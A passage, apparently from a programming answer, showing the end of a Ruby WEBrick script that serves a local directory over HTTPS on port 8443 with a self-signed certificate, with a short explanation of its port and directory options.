                                 :SSLEnable => true,
                                 :DocumentRoot => File.expand_path(docroot),
                                 :SSLCertName => cert_name) #this will be a self signed cert

trap 'INT' do server.shutdown end
puts "Serving #{docroot} on port #{port}"
server.start

It automatically creates a self signed cert and by default serves the current directory over port 8443. You can change with -p port and -d directory.